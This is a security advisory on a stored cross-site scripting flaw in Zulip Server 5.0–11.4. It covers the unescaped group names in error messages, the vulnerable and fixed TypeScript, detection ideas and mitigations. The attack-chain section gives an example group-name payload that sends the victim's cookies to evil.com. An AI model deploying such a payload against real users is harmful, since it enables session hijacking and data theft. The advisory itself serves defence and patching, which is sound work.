CVE-2026-24050 Overview
CVE-2026-24050 is a stored Cross-Site Scripting (XSS) vulnerability affecting Zulip, the open-source team collaboration tool. The vulnerability exists in versions 5.0 through 11.4, where certain administrative actions on user profiles fail to properly sanitize group names and channel names, allowing malicious scripts to be injected and executed in the context of other users' browsers.
The vulnerability specifically manifests during error handling in user profile administrative functions. When an error occurs while adding a user to a group, the group name is rendered without proper HTML escaping, enabling attackers with administrative privileges to craft malicious group or channel names containing JavaScript payloads.
Critical Impact
Attackers with administrative privileges can inject malicious JavaScript through group or channel names, potentially enabling session hijacking, data theft, or further privilege escalation against users who interact with the affected objects.
Affected Products
- Zulip Server versions 5.0 through 11.4
- Self-hosted Zulip installations running affected versions
- Any deployment where administrators can create groups or channels
Discovery Timeline
- 2026-02-06 - CVE CVE-2026-24050 published to NVD
- 2026-02-06 - Last updated in NVD database
Technical Details for CVE-2026-24050
Vulnerability Analysis
This stored XSS vulnerability stems from improper output encoding in the user profile administrative interface. The affected code path handles error messages when operations fail—specifically when adding users to groups or when users join groups themselves.
The core issue is the use of plain text translation functions ($t) instead of HTML-safe translation functions ($t_html) when constructing error messages that include user-controlled data such as group names. Because group names can be set by administrators, a malicious administrator could create a group with a name containing JavaScript code. When another user triggers an error condition involving that group, the malicious script executes in their browser.
Exploitation requires user interaction—the victim must perform an action that triggers the error path, such as attempting to join a malicious group or having an administrator attempt to add them to one. This interaction requirement limits the attack surface but does not eliminate the risk, particularly in environments with untrusted administrators.
Root Cause
The root cause is the use of non-HTML-safe string interpolation when rendering error messages in web/src/user_profile.ts. The code constructs error messages using the $t() function, which performs plain text translation without HTML encoding. When these messages are subsequently rendered in the UI via ui_report.client_error(), any HTML or JavaScript in the group name is interpreted as markup rather than displayed as text.
The fix replaces $t() with $t_html() and renames the variable from error_message to error_message_html to clearly indicate the output is HTML-safe. This ensures that group names containing special characters like <, >, ", and & are properly escaped before rendering.
Attack Vector
The attack exploits the network-accessible administrative interface. An attacker must have administrative privileges to create or modify group names, then wait for victims to interact with error conditions involving those groups. The attack chain is:
- Attacker with admin privileges creates a group with a malicious name (e.g., <script>document.location='https://evil.com/steal?c='+document.cookie</script>)
- Victim attempts to join the group or an admin attempts to add the victim to the group
- An error condition occurs (e.g., permission denied, network error)
- The error message renders with the unescaped group name
- Malicious JavaScript executes in the victim's browser context
// Vulnerable code pattern from web/src/user_profile.ts
// Using plain $t() allows HTML injection via group_name
const error_message = people.is_my_user_id(user_id)
? $t(
{defaultMessage: "Error joining {group_name}: {error}"},
{
group_name: target_user_group.name,
error: parsed.success ? parsed.data.msg : "Unknown error",
},
)
: $t(
{defaultMessage: "Error adding user to {group_name}: {error}"},
{
group_name: target_user_group.name,
error: parsed.success ? parsed.data.msg : "Unknown error",
},
);
ui_report.client_error(error_message, $alert_box);
// Fixed code uses $t_html() for proper HTML encoding
const error_message_html = people.is_my_user_id(user_id)
? $t_html(
{defaultMessage: "Error joining {group_name}: {error}"},
{
group_name: target_user_group.name,
error: parsed.success ? parsed.data.msg : "Unknown error",
},
)
: $t_html(
{defaultMessage: "Error adding user to {group_name}: {error}"},
{
group_name: target_user_group.name,
error: parsed.success ? parsed.data.msg : "Unknown error",
},
);
ui_report.client_error(error_message_html, $alert_box);
Source: GitHub Commit Update
Detection Methods for CVE-2026-24050
Indicators of Compromise
- Group or channel names containing HTML tags, especially <script>, <img>, <svg>, or event handlers like onerror, onload
- Unusual JavaScript execution or unexpected network requests originating from the Zulip web interface
- User reports of strange behavior when interacting with certain groups or channels
- Web application firewall logs showing XSS-like patterns in group/channel name fields
Detection Strategies
- Audit group and channel names in the database for HTML or JavaScript content using regex patterns for common XSS payloads
- Implement Content Security Policy (CSP) headers to detect and report inline script execution attempts
- Monitor browser console errors for CSP violations that may indicate exploitation attempts
- Review administrative action logs for recently created or modified groups with suspicious names
Monitoring Recommendations
- Enable verbose logging for administrative actions, particularly group and channel creation/modification
- Deploy a Web Application Firewall (WAF) with XSS detection rules on the Zulip frontend
- Configure browser-based monitoring or endpoint detection to identify anomalous JavaScript execution patterns
- Regularly audit stored content in the database for potential XSS payloads
How to Mitigate CVE-2026-24050
Immediate Actions Required
- Upgrade to Zulip Server version 11.5 or later immediately
- Audit existing group and channel names for malicious content before upgrading
- Review administrative access lists and remove unnecessary admin privileges
- Consider implementing Content Security Policy headers if not already in place
Patch Information
Zulip has released version 11.5 which addresses this vulnerability. The fix modifies the error handling code in web/src/user_profile.ts to use HTML-safe translation functions. The security patch is available in commit e6093d9e4788f4d82236d856c5ed7b16767886a7.
For detailed information, refer to:
Workarounds
- Restrict administrative privileges to trusted users only until patching is complete
- Implement a Content Security Policy that blocks inline script execution: script-src 'self'
- Manually sanitize existing group and channel names by removing any HTML tags or special characters
- Monitor administrative actions closely and audit any group/channel name changes
# Configuration example: Add Content Security Policy header in nginx
# Add to your Zulip nginx configuration
add_header Content-Security-Policy "script-src 'self'; object-src 'none'; base-uri 'self';" always;
# Audit existing groups for suspicious names (PostgreSQL)
# psql -U zulip zulip -c "SELECT id, name FROM zerver_usergroup WHERE name ~ '<[^>]+>';"
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.


